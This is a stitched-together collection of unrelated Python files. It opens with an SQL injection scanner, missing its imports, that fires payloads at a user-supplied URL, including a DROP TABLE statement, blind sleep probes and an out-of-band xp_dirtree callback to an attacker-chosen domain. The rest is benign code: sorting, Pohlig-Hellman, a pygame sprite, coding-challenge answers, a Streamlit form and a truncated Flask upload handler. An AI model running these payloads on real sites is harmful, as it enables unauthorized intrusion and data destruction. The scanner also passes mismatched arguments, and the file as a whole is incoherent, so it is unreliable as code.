from reportlab.platypus import SimpleDocTemplate, Table, TableStyle

REQUEST_TIMEOUT = 10
RATE_LIMIT_DELAY = 3

def test_classic_sqli(url, param, payloads):
    sql_errors = [
        "You have an error in your SQL syntax;",
        "mysql_fetch_array()",
        "Warning: mysql_",
        "Warning: pg_",
        "Warning: odbc_",
        "Warning: mssql_",
        "ORA-01756",
        "Error Executing Database Query",
        "Unclosed quotation mark after the character string"
    ]

    for payload in payloads:
        try:
            parsed_url = urlparse(url)
            query_params = parse_qs(parsed_url.query)
            query_params[param] = payload
            new_query = urlencode(query_params, doseq=True)
            target_url = urlunparse(parsed_url._replace(query=new_query))

            response = requests.get(target_url, timeout=REQUEST_TIMEOUT)
            time.sleep(RATE_LIMIT_DELAY)
            html_content = response.text

            for error in sql_errors:
                if error in html_content:
                    return True
        except requests.exceptions.RequestException as e:
            print(f"Request error: {e}")

    return False

def test_blind_sqli(url, param, payloads_true, payloads_false):
    for payload_true, payload_false in zip(payloads_true, payloads_false):
        try:
            parsed_url = urlparse(url)
            query_params = parse_qs(parsed_url.query)

            query_params[param] = payload_true
            new_query_true = urlencode(query_params, doseq=True)
            target_url_true = urlunparse(parsed_url._replace(query=new_query_true))

            query_params[param] = payload_false
            new_query_false = urlencode(query_params, doseq=True)
            target_url_false = urlunparse(parsed_url._replace(query=new_query_false))

            response_true = requests.get(target_url_true, timeout=REQUEST_TIMEOUT)
            time.sleep(RATE_LIMIT_DELAY)
            response_false = requests.get(target_url_false, timeout=REQUEST_TIMEOUT)
            time.sleep(RATE_LIMIT_DELAY)

            if response_true.status_code == 200 and response_false.status_code == 404:
                return True
        except requests.exceptions.RequestException as e:
            print(f"Request error: {e}")

    return False

def test_out_of_band_sqli(url, param, payloads, domain, bin_id, api_key):
    for payload in payloads:
        try:
            parsed_url = urlparse(url)
            query_params = parse_qs(parsed_url.query)
            query_params[param] = payload
            new_query = urlencode(query_params, doseq=True)
            target_url = urlunparse(parsed_url._replace(query=new_query))

            response = requests.get(target_url, timeout=REQUEST_TIMEOUT)
            time.sleep(RATE_LIMIT_DELAY)

            if check_dns_logs(bin_id, api_key):
                return True
        except requests.exceptions.RequestException as e:
            print(f"Request error: {e}")

    return False

def check_dns_logs(bin_id, api_key):
    requestbin_url = f"https://api.requestbin.com/v1/bins/{bin_id}/requests"
    headers = {"X-Master-Key": api_key}

    try:
        response = requests.get(requestbin_url, headers=headers)
        if response.status_code == 200:
            requests_data = json.loads(response.text)
            if len(requests_data) > 0:
                return True
    except requests.exceptions.RequestException as e:
        print(f"Request error: {e}")

    return False

def test_sql_injection(url, params, bin_id, api_key):
    domain = input('Enter a domain name to use for the out-of-band SQLi attack: ')

    classic_payloads = [
        "'", "\"", "or 1=1", "'; DROP TABLE users;--", "1' or '1' = '1", "\" OR \"\"=\""
    ]

    blind_payloads_true = [
        "1' AND 1=1--", "1' AND SLEEP(3)--", "1') AND 1=1--", "1') AND SLEEP(3)--"
    ]

    blind_payloads_false = [
        "1' AND 1=2--", "1' AND SLEEP(0)--", "1') AND 1=2--", "1') AND SLEEP(0)--"
    ]

    out_of_band_payloads = [
        f"1'; EXEC xp_dirtree 'http://{domain}.example.com';--"
    ]

    results = []

    for param in params:
        if test_classic_sqli(url, param, classic_payloads):
            results.append((param, "Classic SQLi", random.choice(classic_payloads)))

        if test_blind_sqli(url, param, blind_payloads_true, blind_payloads_false):
            results.append((param, "Inferential SQLi (Blind)", (random.choice(blind_payloads_true), random.choice(blind_payloads_false))))

        if test_out_of_band_sqli(url, param, out_of_band_payloads, bin_id, api_key):
            results.append((param, "Out-of-band SQLi", random.choice(out_of_band_payloads)))

    return results

def generate_pdf_report(results, filename):
    data = [["Parameter", "Vulnerability", "Payload"]] + results

    table = Table(data)
    table.setStyle(TableStyle([
        ('BACKGROUND', (0, 0), (-1, 0), colors.grey),
        ('TEXTCOLOR', (0, 0), (-1, 0), colors.whitesmoke),
        ('ALIGN', (0, 0), (-1, -1), 'CENTER'),
        ('FONTNAME', (0, 0), (-1, 0), 'Helvetica-Bold'),
        ('FONTSIZE', (0, 0), (-1, 0), 14),
        ('BOTTOMPADDING', (0, 0), (-1, 0), 12),
        ('BACKGROUND', (0, 1), (-1, -1), colors.beige),
        ('GRID', (0, 0), (-1, -1), 1, colors.black)
    ]))

    doc = SimpleDocTemplate(filename, pagesize=letter)
    doc.build([table])

if __name__ == "__main__":
    target_url = input('Enter the URL of the target website: ')
    params = input('Enter the parameters to test (comma-separated): ').split(',')

    bin_id = input('Enter the ID of the RequestBin: ')
    api_key = input('Enter the API key of the RequestBin: ')

    results = test_sql_injection(target_url, params, bin_id, api_key)

    for result in results:
        print(f"Vulnerability found: {result[1]} - Parameter: {result[0]} - Payload: {result[2]}")

    pdf_filename = f"{target_url}-sql_injection_report.pdf"
    generate_pdf_report(results, pdf_filename)
    print(f"Report generated: {pdf_filename}")


# 导入Flask类
from flask import Flask, request as rq
import coordinationTransform as a
# 实例化，可视为固定格式
app = Flask(__name__)

# 接口测试
@app.route('/test', methods=['GET'])
def hello_world():
    print("form:", rq.form)
    print("data:", rq.data)
    print("values:", rq.values)
    print("args:", rq.args)
    print("json:", rq.json)

    return rq.json

# 启动web应用，端口为5000
if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000)


from typing import List

def quick_sort(arr: List) -> List:
    if len(arr) < 2:
        return arr
    else:
        guess = arr[0]
        less = [i for i in arr[1:] if i <= guess]
        greater = [i for i in arr[1:] if i > guess]

        return quick_sort(less) + [guess] + quick_sort(greater)

if __name__ == '__main__':
    print(quick_sort([10, 5, 2, 500, 10, -100, 0]))


import Sifan_tools

def get_prime_power(p):
    """input is a prime number, so p-1 must be an even numberself.
    output is a dict showing the primes and their powers"""
    p = p - 1
    # using a dict to store the powers of every prime number
    num_counts = {}
    num_counts[2] = 0
    while p % 2 == 0:
        num_counts[2] += 1
        p = p / 2

    # loop the quotient until it reaches p
    current_quotient = 3
    while  current_quotient <= p:
        while p % current_quotient == 0:
            if current_quotient not in num_counts:
                num_counts[current_quotient] = 1
            else:
                num_counts[current_quotient] += 1
            p = p / current_quotient
        current_quotient += 2
    # print(num_counts)
    return num_counts

def advanced_chinese_remainder(m_x_dict):
    """This is Sifan's advanced CRT implementation, cuz
    the simple version only solves 2 congruences.

    input is g and a dict whose keys are modulus and values are remainders """
    # 1st step: calculate the total product of modulus
    total_modulus_product = 1    # initial value
    # loop the keys of the dictionary
    for modulus in m_x_dict:
        total_modulus_product *= modulus

    # print(m_x_dict)
    # print(total_modulus_product)
    # use a list to store the possible x
    x_list = []
    # loop the keys and values of the dictionary
    for modulus, remainder in m_x_dict.items():
        # print(modulus)
        # print(remainder)
        current_modulus_product = total_modulus_product // modulus
        # if current one meets the criteria

        inverse_current_modulus_product = Sifan_BsGs_Inverse.extended_euclidean(current_modulus_product % modulus, modulus)
        # print(Sifan_BsGs_Inverse.extended_euclidean(3, 4))
        # print(inverse_current_modulus_product)
        x_list.append(current_modulus_product * inverse_current_modulus_product * remainder)
        # print(x_list)
    # finally, we calculate the sum of the possible X
    response = 0
    for possible_x in x_list:
        response += possible_x

    # Almost forget to mod this
    response %= total_modulus_product
    # print(response)
    return response

# Read lines from input file
input_file_name = "POHLIGinput.txt"
test_input_file = open(input_file_name, "r")

test_p = int(test_input_file.readline())
test_g = int(test_input_file.readline())
test_h = int(test_input_file.readline())

# close the file
test_input_file.close()

"""
in each of the following cases.
(a) p = 433, g = 7, a = 166.
(b) p = 746497, g = 10, a = 243278.
(c) p = 41022299, g = 2, a = 39183497. (Hint. p = 2· 29^5 + 1.)
(d) p = 1291799, g = 17, a = 192988. (Hint. p − 1 has a factor of 709.)
"""

# the keys are p, the values are e
pe_dict = get_prime_power(test_p)
# print(pe_dict)

# The Big N is p-1
N = test_p - 1

# keys are modulus; values are remainders
m_x_dict = {}
for q, e in pe_dict.items():
    current_g = Sifan_BsGs_Inverse.fastPower(test_g, N / (q ** e), test_p)
    # print("current_g", current_g)
    # print("q^e", q**e)
    current_h = Sifan_BsGs_Inverse.fastPower(test_h, N / (q ** e), test_p)
    # print("current_h", current_h)
    m_x_dict[q**e] = Sifan_BsGs_Inverse.baby_step_giant_step(current_g, test_p, current_h) % (q**e)

# print(m_x_dict)

final_answer = advanced_chinese_remainder(m_x_dict)

# finally we have the answer to Pohlig Hellman
print("The answer x of {}^x = {} (mod {}) is {}".format(test_g, test_h, test_p, final_answer))
print("If you don't believe me, you can use fastPower algorithem to test. (Please don't use regular calculation for memory's sake unless you have a good one.)")


from typing import List, Optional

import random
import queue

import pygame

from . import helpers

from .. import binds
from .. import constants as c
from .. import gameinfo
from .. import phys
from .. import setup
from .. import tools

class Player(pygame.sprite.Sprite):
    def __init__(self, x: int, y: int) -> None:
        super().__init__()

        self.sprite_sheet = setup.GFX["hero"]
        self.current_frames = self.load_up_sprites_from_sheet()

        self.frames_dict = {
            c.Direction.UP: self.load_up_sprites_from_sheet(),
            c.Direction.DOWN: self.load_down_sprites_from_sheet(),
            c.Direction.LEFT: self.load_left_sprites_from_sheet(),
            c.Direction.RIGHT: self.load_right_sprites_from_sheet(),
            c.Direction.LEFTUP: self.load_left_sprites_from_sheet(),
            c.Direction.RIGHTUP: self.load_right_sprites_from_sheet(),
            c.Direction.LEFTDOWN: self.load_left_sprites_from_sheet(),
            c.Direction.RIGHTDOWN: self.load_right_sprites_from_sheet(),
        }

        self.current_frames = self.load_up_sprites_from_sheet()
        self.frame_index = 0

        self.image = self.current_frames[self.frame_index]
        self.rect = self.image.get_rect()
        self.rect.x = x
        self.rect.y = y

        self.vel = c.speeds["player"] * c.FPS

        self.direction = c.Direction.NONE
        self.previous_direction = c.Direction.NONE
        self.x_vel = 0
        self.y_vel = 0

        self.dt = 0
        self.walking_timer = 0
        self.animation_speed_static = 120

    def load_up_sprites_from_sheet(self) -> List[pygame.Surface]:
        images = []
        # Duplicate first image, use first image as a placeholder
        # indicating that the animation hasn't ran yet
        images.append(helpers.get_image(79, 283, 98, 202, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(79, 283, 98, 202, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(335, 283, 98, 198, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(591, 283, 98, 202, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(847, 283, 98, 198, self.sprite_sheet, c.NPC_MULT))
        return images

    def load_down_sprites_from_sheet(self) -> List[pygame.Surface]:
        images = []
        # Duplicate first image, use first image as a placeholder
        # indicating that the animation hasn't ran yet
        images.append(helpers.get_image(79, 27, 98, 202, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(79, 27, 98, 202, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(335, 27, 98, 198, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(591, 27, 98, 202, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(847, 27, 98, 198, self.sprite_sheet, c.NPC_MULT))
        return images

    def load_left_sprites_from_sheet(self) -> List[pygame.Surface]:
        images = []
        # Duplicate first image, use first image as a placeholder
        # indicating that the animation hasn't ran yet
        images.append(helpers.get_image(67, 535, 106, 198, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(67, 535, 106, 198, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(323, 535, 106, 194, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(579, 535, 106, 198, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(835, 535, 106, 194, self.sprite_sheet, c.NPC_MULT))
        return images

    def load_right_sprites_from_sheet(self) -> List[pygame.Surface]:
        images = []
        # Duplicate first image, use first image as a placeholder
        # indicating that the animation hasn't ran yet
        images.append(helpers.get_image(83, 791, 106, 198, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(83, 791, 106, 198, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(339, 791, 106, 194, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(595, 791, 106, 198, self.sprite_sheet, c.NPC_MULT))
        images.append(helpers.get_image(851, 791, 106, 194, self.sprite_sheet, c.NPC_MULT))
        return images

    def set_velocity(self) -> None:
        """Set the speed based on the direction"""
        # Convert dt to seconds (milliseconds / 1000)
        dt_s = self.dt / 1000
        self.walk_sp = round(self.vel * dt_s)
        self.diag_sp = round(phys.normalize(self.vel, self.vel) * dt_s)

        if self.direction == c.Direction.LEFT:
            self.x_vel = -self.walk_sp
            self.y_vel = 0
        elif self.direction == c.Direction.RIGHT:
            self.x_vel = self.walk_sp
            self.y_vel = 0
        elif self.direction == c.Direction.UP:
            self.x_vel = 0
            self.y_vel = -self.walk_sp
        elif self.direction == c.Direction.DOWN:
            self.x_vel = 0
            self.y_vel = self.walk_sp
        elif self.direction == c.Direction.LEFTUP:
            self.x_vel = -self.diag_sp
            self.y_vel = -self.diag_sp
        elif self.direction == c.Direction.LEFTDOWN:
            self.x_vel = -self.diag_sp
            self.y_vel = self.diag_sp
        elif self.direction == c.Direction.RIGHTUP:
            self.x_vel = self.diag_sp
            self.y_vel = -self.diag_sp
        elif self.direction == c.Direction.RIGHTDOWN:
            self.x_vel = self.diag_sp
            self.y_vel = self.diag_sp
        else:
            self.x_vel = 0
            self.y_vel = 0

    def walk(self, inp: binds.Input) -> None:
        self.previous_direction = self.direction

        if inp.held("move_left"):
            if inp.held("move_up"):
                self.direction = c.Direction.LEFTUP
            elif inp.held("move_down"):
                self.direction = c.Direction.LEFTDOWN
            else:
                self.direction = c.Direction.LEFT

        elif inp.held("move_right"):
            if inp.held("move_up"):
                self.direction = c.Direction.RIGHTUP
            elif inp.held("move_down"):
                self.direction = c.Direction.RIGHTDOWN
            else:
                self.direction = c.Direction.RIGHT

        elif inp.held("move_up"):
            self.direction = c.Direction.UP
        elif inp.held("move_down"):
            self.direction = c.Direction.DOWN
        else:
            self.direction = c.Direction.NONE
        self.set_velocity()

        new_x, new_y = tools.fix_edge_bounds(rect=self.rect, highest_x=setup.map_size.get_width(), highest_y=setup.map_size.get_height(), x_vel=self.x_vel, y_vel=self.y_vel)

        # Set and then correct x and y one at a time.
        self.rect.x = new_x
        collided = self.get_closest_collisions()
        if collided is not None:
            self.check_x_collisions(collided)

        self.rect.y = new_y
        collided = self.get_closest_collisions()
        if collided is not None:
            self.check_y_collisions(collided)

    def check_x_collisions(self, collided: pygame.rect.Rect) -> None:
        if self.rect.x < collided.x:
            self.rect.right = collided.left
        elif self.rect.x > collided.x:
            self.rect.left = collided.right
        self.x_vel = 0

    def check_y_collisions(self, collided: pygame.rect.Rect) -> None:
        if self.rect.y > collided.y:
            self.rect.y = collided.bottom
        elif self.rect.y < collided.y:
            self.rect.bottom = collided.top
        self.y_vel = 0

    def get_closest_collisions(self) -> Optional[pygame.rect.Rect]:
        """
        # XXX Later check for the collidable that is the closest to the player's
        # center.
        Inefficient method: return pygame.sprite.spritecollideany(self, self.collidable_group)
        """
        # Find the tiles around the current tile. Loop through (-1, 0, 1).
        for i in range(-1, 2, 1):
            for j in range(-1, 2, 1):
                try:
                    x = self.rect.x
                    y = self.rect.y
                    ts = c.TILE_SIZE

                    # Get the nearest grid point. Truncate to the nearest
                    # multiple of 64 (Eg. 130 - 130 % 64 => 128 / 64 => 2)
                    grid_x = int((self.rect.x - (self.rect.x % ts)) / ts)
                    grid_y = int((self.rect.y - (self.rect.y % ts)) / ts)

                    if self.collidable_grid[grid_x + i][grid_y + j] > 0:
                        # Expand grid_x and grid_y  back into normal
                        # coords (*64), then add the current i and j.
                        rect = pygame.rect.Rect((grid_x*64 + i*ts, grid_y*64 + j*ts), (c.TILE_SIZE, c.TILE_SIZE))
                        if self.rect.colliderect(rect):
                            return rect
                except IndexError:
                    pass

    def handle_state(self, inp: binds.Input) -> None:
        # Let walking handle input.
        # XXX Later if the player has a certain state, such as set to worker
        # mode, when I can change the worker to auto_walking, pathfinding,
        # searching for tree, etc etc. Right now he's just walking...
        self.walk(inp)

        #if self.state == "sliding":
        #   don't allow user input
        #   and slide in that x or y direction until a wall is hit.

    def update(self, game_info: gameinfo.GameInfo, collidable_grid: List[List[int]]) -> None:
        self.collidable_grid = collidable_grid
        self.dt = game_info.dt

        self.handle_state(game_info.inp)
        self.animate_walk(game_info.game_time)

        # Have player publish it's own sprite for spritecollideany checking of lootable objects.
        game_info.player = self

    def animate_walk(self, game_time: int) -> None:
        if not self.direction == c.Direction.NONE:
            # If the sprite is moving, set the animation frames based on direction.
            self.current_frames = self.frames_dict[self.direction]

        if self.direction == c.Direction.NONE:
            self.animation_speed = 0
        else:
            self.animation_speed = self.animation_speed_static

        if self.frame_index == 0:
            self.frame_index += 1

            # Setting timer for the first time
            self.walking_timer = game_time
        elif self.direction == c.Direction.NONE:
            # Select standing still images.
            if self.previous_direction == c.Direction.UP or self.previous_direction == c.Direction.DOWN:
                self.frame_index = 1
            elif self.previous_direction == c.Direction.LEFT \
                    or self.previous_direction == c.Direction.RIGHT \
                    or self.previous_direction == c.Direction.LEFTUP \
                    or self.previous_direction == c.Direction.RIGHTUP \
                    or self.previous_direction == c.Direction.LEFTDOWN \
                    or self.previous_direction == c.Direction.RIGHTDOWN:
                self.frame_index = 2
        else:
            if game_time - self.walking_timer > self.animation_speed:
                self.frame_index += 1

                if self.frame_index >= len(self.current_frames):
                    self.frame_index = 1
                self.walking_timer = game_time

        self.image = self.current_frames[self.frame_index]


alien_0 = {}
print(alien_0)

alien_0['x_position'] = 0
alien_0['y_position'] = 25
print(alien_0)

#更改字典信息
alien_0 = {'color': 'green'}
print("The alien is now " + alien_0['color'] + "!")

alien_0['color'] = 'yellow'
print("The alien is now " + alien_0['color'] + "!")

alien_0 = {'x_position': 0, 'y_position': 25, 'speed': 'medium'}
print("Original x-position: " + str(alien_0['x_position']))
alien_0['speed'] = "fast"
# 向右移动外星人
# 据外星人当前速度决定将其移动多
if alien_0['speed'] == 'slow':
 x_increment = 1
elif alien_0['speed'] == 'medium':
 x_increment = 2
else:
 x_increment = 3
# 新位置等于઻位置加上增量
alien_0['x_position'] = alien_0['x_position'] + x_increment
print("New x-position: " + str(alien_0['x_position']))

#删除
alien_0 = {'color': 'green', 'points': 5}
print(alien_0)
del alien_0['points']
print(alien_0)

user_0 = {
 'username': 'efermi',
 'first': 'enrico',
 'last': 'fermi',
 }
for key, value in user_0.items():
    print("\nKey: " + key)
    print("Value: " + value)

favorite_languages = {
 'jen': 'python',
 'sarah': 'c',
 'edward': 'ruby',
 'phil': 'python',
 }
friends = ['jen','sarah']
for name in favorite_languages.keys():
    print(name.title())
    if name not in friends:
        print("hi " + name.title() +",  I see your favorite language is " + favorite_languages[name].title())

#遍历字典中的所有值
#使用方法values（）,它返回一个值列表，而不包含任何键
favorite_languages = {
 'jen': 'python',
 'sarah': 'c',
 'edward': 'ruby',
 'phil': 'python',
 }
print("The following languages have been mentioned:")
for language in favorite_languages.values():
 print(language.title())

# 按顺序遍历字典中的所有键：
# 要以特定的顺序返回元素，一种办法是在for循环中对返回的建进行排序。为此，可使用函数sorted（）来获得特定顺序排序的键列表的副本
favorite_languages = {
 'jen': 'python',
 'sarah': 'c',
 'edward': 'ruby',
 'phil': 'python',
 }
for name in sorted(favorite_languages.keys()):
 print(name.title() + ", thank you for taking the poll.")

#为了剔除重复项，可以使用集合set（）
favorite_languages = {
 'jen': 'python',
 'sarah': 'c',
 'edward': 'ruby',
 'phil': 'python',
 }
print("The following languages have been mentioned:")
for language in set(favorite_languages.values()):
 print(language.title())


from country import City
from country import Romania
from country import Connection
from country import print_itinerary
import math

# breadth first search
def bfs(country, start):
    queue = [country.cities[start]]
    visited_nodes = set()

    while queue:
        current = queue.pop(0)
        if current not in visited_nodes:
            visited_nodes.add(current)
            connections = current.neighbors
            for path in connections:
                queue.append(country.cities[path.name])
                length = path.length
                if current.length_from_start_search != math.inf: # if not first node
                    length += current.length_from_start_search
                if length < country.cities[path.name].length_from_start_search and path.name != start: # if better connection
                    country.cities[path.name].length_from_parent = path.length
                    country.cities[path.name].length_from_start_search = length
                    country.cities[path.name].parent = current

if __name__ == "__main__":
  romania = Romania()
  destination = "Bucharest"
  start = "Oradea"
  bfs(romania, start)
  print_itinerary(romania, destination, start)


import RPi.GPIO as GPIO
import time
import json

def light_control_function(MQTTClient, light_config):
    # Function attribute used for stopping thread
    light_control_function.stop = False

    class Mode:
        mode = "AUTO"

    Mode_To_GPIO_Signal = {
        "ON": GPIO.LOW,
        "OFF": GPIO.HIGH,
    }

    # Pin for taking sensor inputs
    ldr_pin = int(light_config['ldr_pin'])
    output_pin = int(light_config['output_pin'])
    GPIO.setup(output_pin, GPIO.OUT)

    def auto_mode(ldr_pin):
        nonlocal Mode_To_GPIO_Signal
        try:
            count = 0
            GPIO.setup(ldr_pin, GPIO.OUT)
            GPIO.output(ldr_pin, GPIO.LOW)
            time.sleep(0.1)
            GPIO.setup(ldr_pin, GPIO.IN)

            while (GPIO.input(ldr_pin) == GPIO.LOW):
                count += 1

            # print(f"Sensor Output({light_config['light_id']}): {count}")
            if count < light_config["threshold"]:
                return Mode_To_GPIO_Signal["OFF"]
            else:
                return Mode_To_GPIO_Signal["ON"]

        except Exception as err:
            print("Error while receiving input from sensor.\n Exception:", err)

        return Mode_To_GPIO_Signal["ON"]

    def on_light_signal_received(client, userdata, message):
        nonlocal Mode
        try:
            payload = json.loads(message.payload)
            Mode.mode = payload.get("mode", "AUTO")
            print(payload.get("message"))
        except Exception as err:
            print(f"Payload Object has an error.\nPayload: {payload}\nException Error: {err}")

    MQTTClient.subscribe(topic=f"LIGHT_MODE_CONTROL/{light_config['light_id']}", QoS=1, callback=on_light_signal_received)
    print("Subscribed to topic 'LIGHT_MODE_CONTROL' ...")

    while not light_control_function.stop:
        if Mode.mode == "AUTO":
            GPIO.output(output_pin, auto_mode(ldr_pin))
        elif Mode.mode == "ON":
            GPIO.output(output_pin, Mode_To_GPIO_Signal["ON"])
            # print("ON")
        elif Mode.mode == "OFF":
            GPIO.output(output_pin, Mode_To_GPIO_Signal["OFF"])

    print(f"Stopped thread for light-{light_config['light_id']}")


#백준 2839 설탕배달
#설탕 배달을 하는데 5와 3포대로 옮기고 싶다.최소한으로 옮길 포대의 갯수를 구하라
#만약 3과 5포대로 옮길수 없다면 -1을 출력하라.
n = int(input())
answer=0
while n>0:#n이 0보다 크면 반복
    if n<3:#n이 3보다 작으면 어짜피 못옮기므로 브레이크
        answer=-1
        break
    elif n%5==0:#최소한으로 옮기고싶으므로 5의 배수인경우는
        answer+=1#5로 옮긴다.
        n-=5
    elif n%5!=0:#5로 옮겨지지 않을땐 3으로 옮겨 5의 배수로 만든다.
        answer+=1#안만들어지면 계속 빼겠쥬 홀홀
        n-=3#그리고 1이나 2같은 수가 만들어지면 못옮기는거니 위에서 브레이크 걸림

print(answer)


'''
> P
1~N까지 수로 이루어진 수열에서 특정 수열 다음 순열을 구하시오
    - 마지막 값이 주어지면 -1 반환 (예외 경우로 처리)

next-permutation algorithm
1. 역순열을 깨는 경우 찾아라
2. 1번에서 찾은 값보다 바로 위 큰 값을 찾아 스왑한다
3. 재배열한다(스왑 값([:idx] + sorted([idx:])))

func(nextPerm)
    - param : seq(list)
    - vari : global N, x/y(int) _ 이전 값이 현재 값 보다 작은 경우
    - logic
        1) 역순 순회하며 현재 값보다 이전 값이 더 작은 경우 찾기
        2) 스왑하기

'''

def nextPermulation():
    global N, seq

    x, y = 0, 0
    ret = [-1]
    is_last = True

    for i in range(N-1, 0, -1):
        if seq[i-1] < seq[i]:
            x, y = i-1, i
            for j in range(N-1, 0, -1):
                if seq[j] > seq[x]:
                    seq[x], seq[j] = seq[j], seq[x]
                    is_last = False
                    break
            if is_last == False:
                ret = seq[:y] + sorted(seq[y:])  # 스왑된 후에는 정배열
                break
    return ret

N = int(input())
seq = list(map(int, input().split()))

ans = nextPermulation()

print(*ans)


import sys
input = lambda: sys.stdin.readline().rstrip()
g = lambda: [*map(int, input().split())]

from itertools import permutations

nums = []
for a, b, c in permutations(g(), 3):
    nums.append(a * 100 + b * 10 + c)
nums.sort()
ans = nums.index(int(input())) + 1
print(ans)


"""

In this we have to find the next greater element
on the left side

given array = [1, 3, 2, 4]

resultant array will be [-1, -1, 3, -1]

we have two approach to do this
we can have a brute force approach

with the brute force we will use two for loop

this will take the time complexity of O(n)

complexity for this is O(n)

"""

def next_greater_to_left(array):
    stack = []
    result = []
    n = len(array)

    for i in range(0,n):
        if len(stack) == 0:
            result.append(-1)
            stack.append(array[i])
        elif stack[-1] > array[i]:
            result.append(stack[-1])
            stack.append(array[i])
        else:
            while (len(stack) != 0 and stack[-1] <= array[i]):
                stack.pop()
            if len(stack) == 0:
                result.append(-1)
            else:
                result.append(stack[-1])
            stack.append(array[i])
    return result

array = [1, 3, 2, 4]

print(next_greater_to_left(array))

Aditya Verma  source Youtube/stack/next greater to left.py


import pickle
import streamlit as st
st.title("HEART DISEASE ANALYSIS")
col1,col2,col3 = st.columns([1.3,5,0.2])

age = st.slider("Age:",0,100,50)
sex = st.slider("Sex: Male=1,Female=0",0,1,1)
cp = st.slider("Chest pain:",0,3,2)
bp = st.slider("Resting Bp in mm Hg:",100,400,250)
chol = st.slider("Cholesterol in mg/dl:",100,400,250)
fbs = st.slider("Fasting blood sugar > 120 mg/dl: True=1,False=0",0,1,0)
rest = st.slider("Resting ECG results:",0,2,1)
hrate = st.slider("Maximum heart rate:",60,200,130)
exang = st.slider("Exercize induced angina Yes=1,No=0:",0,1,0)
old = st.slider("Oldpeak,ST depression induced by exercise relative to rest:",0,10,5)
slope = st.slider("Slope of peak exercise ST segment, 1=unsloping,2=flat,3=downsloping:",1,3,2)
ca = st.slider("No. of major vessels(0-3):",0,3,2)
thal = st.slider("Thal normal=1,fixed defect=2,reversable defect=3",1,3,2)

target = ['Less chance of heart attack','More chance of heart attack']
new = pickle.load(open('model.pkl','rb'))
y_pred = new.predict([[age,sex,cp,bp,chol,fbs,rest,hrate,exang,old,slope,ca,thal]])
y_pred = target[y_pred[0]]
clicked = st.button("Submit")
if(clicked):
	if(y_pred):
		st.success('Prediction Successful')
		y_pred
		st.balloons()
	else:
		st.error('Error running analysis')


#!/bin/python3

import math
import os
import random
import re
import sys

#
# Complete the 'sockMerchant' function below.
#
# The function is expected to return an INTEGER.
# The function accepts following parameters:
#  1. INTEGER n
#  2. INTEGER_ARRAY ar
#

def sockMerchant(n, ar):
    # Write your code here
    # basic histogram solution:
    # for each element of ar, create a k,v pair in your "sock drawer"
    # then hit each v of the k,v with a //2 and sum
    sock_drawer = {}
    for sock in ar:
        if sock in sock_drawer:
            sock_drawer[sock] += 1
        else:
            sock_drawer[sock] = 1
    paired_socks = 0
    for color, socks in sock_drawer.items():
        if (socks >= 2):
            paired_socks += socks // 2
    return paired_socks

if __name__ == '__main__':
    fptr = open(os.environ['OUTPUT_PATH'], 'w')

    n = int(input().strip())

    ar = list(map(int, input().rstrip().split()))

    result = sockMerchant(n, ar)

    fptr.write(str(result) + '\n')

    fptr.close()


import numpy as np
import pandas as pd

if __name__ == '__main__':
    data = {
        'Product': ['A', 'B', 'A', 'B', 'A', 'B', 'A', 'B'],
        'Sales': [100, 150, 200, 50, 300, 250, 30, 100],
        'Month': ['Jan', 'Jan', 'Feb', 'Feb', 'Mar', 'Mar', 'Jan', 'Mar']
    }

    df = pd.DataFrame(data)
    print(df.sort_values(by=['Product']))
    print("===================================================")
    pivot_table = df.pivot_table(index='Product', columns='Month', values='Sales', aggfunc='sum')
    print(pivot_table)


# Given a non negative integer number num. For every numbers i in the range 0 ≤ i ≤ num calculate the number of 1's in
# their binary representation and return them as an array.
#
# Example 1:
#
# Input: 2
# Output: [0,1,1]
# Example 2:
#
# Input: 5
# Output: [0,1,1,2,1,2]

def countBits(num: int):
    """
    returns an array of size num, with a count of the set bit of every index
    :param num:
    :return:
    """
    arr = []

    for i in range(num + 1):
        arr.append(count_set_bits(i))
    return arr

def count_set_bits(N):
    """
    Returns the number of set bit in N

    Big O(logN)
    space = 1
    :param N:
    :return:
    """

    count = 0

    while N:
        count += 1
        N = N & (N-1)
    return count

if __name__ == "__main__":
    T = int(input("Number of testcases: "))

    while T > 0:
        N = int(input("Enter a number: "))
        print(countBits(N))
        T -= 1


import random
from string import ascii_uppercase

class Robot:
    _used_names = set()

    def __init__(self):
        self.reset()

    def reset(self):
        name = ""
        valid_name = False
        while not valid_name:
            for _ in range(2):
                name += random.choice(ascii_uppercase)
            for _ in range(3):
                name += str(random.randint(0, 9))
            if name not in Robot._used_names:
                valid_name = True
                Robot._used_names.add(name)
                self.name = name
            else:
                name = ""


from flask import (
	Blueprint, redirect, render_template, request,
    session, url_for, abort, current_app as app)
from werkzeug.utils import secure_filename
from matchFinder.forms import themen_form
from matchFinder.forms import teilnehmer_form
from . import database_helper
from . import txt_parser
from . import helper
import os

bp = Blueprint('upload', __name__, url_prefix='/upload')

@bp.before_request
def check_status():
    """
    If the user is unauthenticated,
    this method redirects to the homepage.
    Called before each request to this subdomain
    """
    if session.get('is_authenticated') != True:
        return redirect(url_for('home.index'))

@bp.route('/')
def index():
    return render_template('upload.html')

@bp.route('/', methods=['POST'])
def file():
    """
    This function takes a file and a name and saves the entries
    into the database after parsing the file contents to arrays.
    """

    uploaded_file = request.files['file']
    if helper.validate_file(uploaded_file, app):
        teilnehmer_name = request.form.get('teilnehmer_name', None)
        themen_name = request.form.get('themen_name', None)
        if themen_name == None:
            teilnehmer = txt_parser.array_from_teilnehmer(uploaded_file)
            number_saved, error = database_helper.save_teilnehmer(teilnehmer, teilnehmer_name)
        elif teilnehmer_name == None:
            themen = txt_parser.array_from_themen(uploaded_file)
